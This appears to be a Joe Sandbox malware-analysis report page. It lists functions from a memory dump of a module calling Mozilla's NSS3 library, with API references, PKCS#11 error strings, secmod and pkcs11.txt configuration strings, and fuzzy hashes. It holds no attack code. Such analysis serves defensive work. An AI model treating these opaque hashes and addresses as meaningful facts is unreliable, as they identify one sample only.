Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: c4cd79a5e8ed3441f33595811e327e5e5f5086d890a5fe3b3c74e476fc2e5b6a
Instruction ID: fd25e6506235829fef616d7462820dfb56577d16ab72f7933ac00766bad20352
Opcode Fuzzy Hash: c4cd79a5e8ed3441f33595811e327e5e5f5086d890a5fe3b3c74e476fc2e5b6a
Instruction Fuzzy Hash: EB513D32E4A0798AEB1586BD88607FFFFB19B43324F1DC329C5A167AC2D274454E9790

Function 6CFEEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFEF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CFEF0F9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: b82a8142bb63ca9f0c19cf951bc3bbd853616d953c9ae5286914702233fe9b08
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 3091B271E0021A9BCB14CF68D8906AEB7F1FF89324F15472DD962A7BC0D730A905CB51

Function 6D012F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6D037929), ref: 6D012FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6D037929), ref: 6D012FE0

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 568efa26ae4264722ad36de1daef04d9ca5272a1bcc065452b479cfa2ab1c153
Instruction ID: 237e12ee1e50ae63e25cd87b4b918dcf027d54d30b75f98fa09fea15cae5c487
Opcode Fuzzy Hash: 568efa26ae4264722ad36de1daef04d9ca5272a1bcc065452b479cfa2ab1c153
Instruction Fuzzy Hash: CC51CE71A1C1138FEB168EE9CCA0B7E73F1FB4A314F564169DA099B202D731E946CB81

Function 6D030E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6D031052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6D031086

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 68c2fefaa056fa8c4cad1aaff02aadde1a58a4ed7f6fbf712673a1a60b71cfea
Instruction ID: a1e2b3f32749ebd6390e1b25b140287df8c7d4161f307cc876c85116790c2320
Opcode Fuzzy Hash: 68c2fefaa056fa8c4cad1aaff02aadde1a58a4ed7f6fbf712673a1a60b71cfea
Instruction Fuzzy Hash: 58A11B71B0521B9FEB08CF9AD890AEEBBF6BF4C350B158029E915A7300D775AD51CB90

Function 6D01ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6D01EE3D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 2de62e4298ce15326072ad1751b870d071eddbc3e775b003a05c2bd269b3dae5
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 2371B172E197068BE718CF9AC88076EBBF2BB88304F15852DD85AD7791D770E940CB91

Function 6CF45F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CF46013

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 2295170221075b4c1c5d21f6219f7f843b406b1117f2621e4218be5b03895fed
Instruction ID: 76627fad867b9c2144d229b0b4f49e51eadb376354a5e56c74cb90693ad4282d
Opcode Fuzzy Hash: 2295170221075b4c1c5d21f6219f7f843b406b1117f2621e4218be5b03895fed
Instruction Fuzzy Hash: 6CC1F670B046468BDB048F19C8907AABFB2AF85328F24C169E995DBB43D735E881C791

Function 6D0D5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6D0D5B90: PR_Lock.NSS3(00010000,?,00000000,?,6CFBDF9B), ref: 6D0D5B9E
Part of subcall function 6D0D5B90: PR_Unlock.NSS3 ref: 6D0D5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6D0D5E23,6CFBE154), ref: 6D0D5EBF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: c3d3ce5050f5705771669042be26b49dc3ee808945126bf1a5a180d2c87a2e0a
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 64519E72E0021A8FDB18CF59C8816AEF7F2FF98314B19856ED816B7355D734A941CBA0

Function 6D08DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 811f76a2124987988a126857c4b197ad66acd08618b04ab4bdecf02806e8799e
Instruction ID: 6b7d64103085512df49630f428c6ec2a09f377766644c5b8a593a304918ac501
Opcode Fuzzy Hash: 811f76a2124987988a126857c4b197ad66acd08618b04ab4bdecf02806e8799e
Instruction Fuzzy Hash: FAF14B71A002058FEF08CF59D494BAE77F2BF89314F198169D8199B352DB35ED82CBA1

Function 6D021DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 1d955e9b464e9d2fdb4c19da8cede6b7a3ba7ec945a6b53beb6e9c0f015dca6d
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: A3D15B32D256568BFB118E68C8813EE77B3AB85324F994228CD741B3C6C37B9909C7D1

Function 6CFB8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8814e2e373f396537e9e2f9edd56b78d2f1505ebd06f9f3245998bb7250ff59
Instruction ID: 1dcd604df9b6fa7ebf593bc9c620b26b2ee35307b3e32b3f114ef68db0ec1180
Opcode Fuzzy Hash: f8814e2e373f396537e9e2f9edd56b78d2f1505ebd06f9f3245998bb7250ff59
Instruction Fuzzy Hash: 6811E332A002169FD704DFA6E884B9AB7B5FF8231CF04426AE8159FA41C7B5D9C6C7C1

Function 6D090C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 802f0494f2881b36cdf1b6dd952793cec095c834c647d338f6e3855492cac0c6
Instruction ID: ef83d7d78c299933190ca621a878e620f5b602d1754649bae036d5a18e305b18
Opcode Fuzzy Hash: 802f0494f2881b36cdf1b6dd952793cec095c834c647d338f6e3855492cac0c6
Instruction Fuzzy Hash: C81182756082069FDB00DF19D88076A77E5FF85364F148469D8198F341DB72E9468B90

Function 6D003FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 1153c427e8f0af9993e3ea903623ee30bf566a7818f987485b67c1ccd4a4c207
Instruction ID: fd3842a89dafd58671adc427dc47bfe95b2023b86bf428a4353ff667c8c157f2
Opcode Fuzzy Hash: 1153c427e8f0af9993e3ea903623ee30bf566a7818f987485b67c1ccd4a4c207
Instruction Fuzzy Hash: 59F05E70A047599BCB10DF68C55169ABBF4EF09254F019619ED89AB301EB70AAC4C7C1

Function 6D090D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: e2a7b5714a765caf323aff2899e81d5923c3ee3103e8ed27cbe80266ab75cc33
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 82E06D3AA0B015A7EB188E0AC450BA97399EF82615FA49079EC699F601D633F9039781

Function 6CFBCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8cf977ece5f168db89ccd770cecc1099ce7e199cad28b685de8a80ab0ca5108
Instruction ID: 51b1c5a45b32418cd0eea02fc294f77297f2563e03c4e592f8383306ab614acc
Opcode Fuzzy Hash: f8cf977ece5f168db89ccd770cecc1099ce7e199cad28b685de8a80ab0ca5108
Instruction Fuzzy Hash: A9C04838244608DFC704DA48E489EA43BA8AB0D6107040094EA028B721DB62F880CA84

Function 6CFF1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CFF1D46), ref: 6CFF2345

Strings

CKR_FUNCTION_REJECTED, xrefs: 6CFF2289
CKR_TOKEN_NOT_PRESENT, xrefs: 6CFF1F81
CKR_PIN_INCORRECT, xrefs: 6CFF1D92
CKR_PIN_INVALID, xrefs: 6CFF2057
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CFF204D
CKR_INFORMATION_SENSITIVE, xrefs: 6CFF22B1
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CFF2179
CKR_PIN_LOCKED, xrefs: 6CFF2075
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CFF2319
CKR_DEVICE_REMOVED, xrefs: 6CFF2261
CKR_MUTEX_NOT_LOCKED, xrefs: 6CFF2225
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CFF1F8B
CKR_BUFFER_TOO_SMALL, xrefs: 6CFF2183
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CFF22FF
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CFF2320
CKR_PIN_LEN_RANGE, xrefs: 6CFF2061
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CFF20D9
rv = %s, xrefs: 6CFF2340
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CFF1F77
CKR_DEVICE_ERROR, xrefs: 6CFF229D
CKR_WRAPPED_KEY_INVALID, xrefs: 6CFF1FB5
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CFF2015
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CFF2293, 6CFF233F
CKR_PIN_EXPIRED, xrefs: 6CFF206B
CKR_FUNCTION_CANCELED, xrefs: 6CFF1E73
CKR_SAVED_STATE_INVALID, xrefs: 6CFF1E56
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CFF1F0F
CKR_STATE_UNSAVEABLE, xrefs: 6CFF2037
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CFF232E
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CFF1F95
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CFF1FD7
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CFF1EE1
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CFF1DE0
CKR_SIGNATURE_INVALID, xrefs: 6CFF20CF
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CFF226B
CKR_NEW_PIN_MODE, xrefs: 6CFF1E9F
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CFF227F
CKR_DEVICE_MEMORY, xrefs: 6CFF1FF3
CKR_OPERATION_ACTIVE, xrefs: 6CFF22B8
CKR_MUTEX_BAD, xrefs: 6CFF1F49
rv = 0x%x, xrefs: 6CFF2312
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CFF2327
CKR_NEXT_OTP, xrefs: 6CFF222F
CKR_RANDOM_NO_RNG, xrefs: 6CFF22A7
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CFF2275
CKR_OK, xrefs: 6CFF1DFC
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CFF218D

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 5b26e171659241d398c94b64f33759616ddb69764d38f05aa5bea137acc0ab4c
Instruction ID: 02e05c8d07fa98cfd1bda0ce24929dc24228945a6b1be43a24f1d7a549a91079
Opcode Fuzzy Hash: 5b26e171659241d398c94b64f33759616ddb69764d38f05aa5bea137acc0ab4c
Instruction Fuzzy Hash: C561DEB154D18086FA1C554C81E877E2124E706318F748177E5BDADEBDCAEB8E834693

Function 6D025DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6D025E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D025E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6D025E5C
free.MOZGLUE(00000000), ref: 6D025E7E
free.MOZGLUE(00000000), ref: 6D025E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6D025EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6D025EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D025ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6D025EF0
free.MOZGLUE(00000000), ref: 6D025F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6D025F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6D025F5B
free.MOZGLUE(00000000), ref: 6D025F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6D025FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6D025FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6D025FC4
free.MOZGLUE(00000000), ref: 6D025FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D025FE9
free.MOZGLUE(00000000), ref: 6D025FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6D02600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D026027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6D02605A
PR_smprintf.NSS3(6D0FAAF9,00000000), ref: 6D02606A
free.MOZGLUE(00000000), ref: 6D02607C
free.MOZGLUE(00000000), ref: 6D02609A
free.MOZGLUE(00000000), ref: 6D0260B2
free.MOZGLUE(?), ref: 6D0260CE

Strings

noModDB, xrefs: 6D025EEA
flags, xrefs: 6D025E3A, 6D025EC6, 6D025F30
forceSecmodChoice, xrefs: 6D025F55
%s/%s, xrefs: 6D026055
secmod=, xrefs: 6D025FB1
pkcs11.txt, xrefs: 6D025F47, 6D025F7C, 6D02603A, 6D026053
secmod.db, xrefs: 6D025EA0
configDir=, xrefs: 6D025F9D
readOnly, xrefs: 6D025E56

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
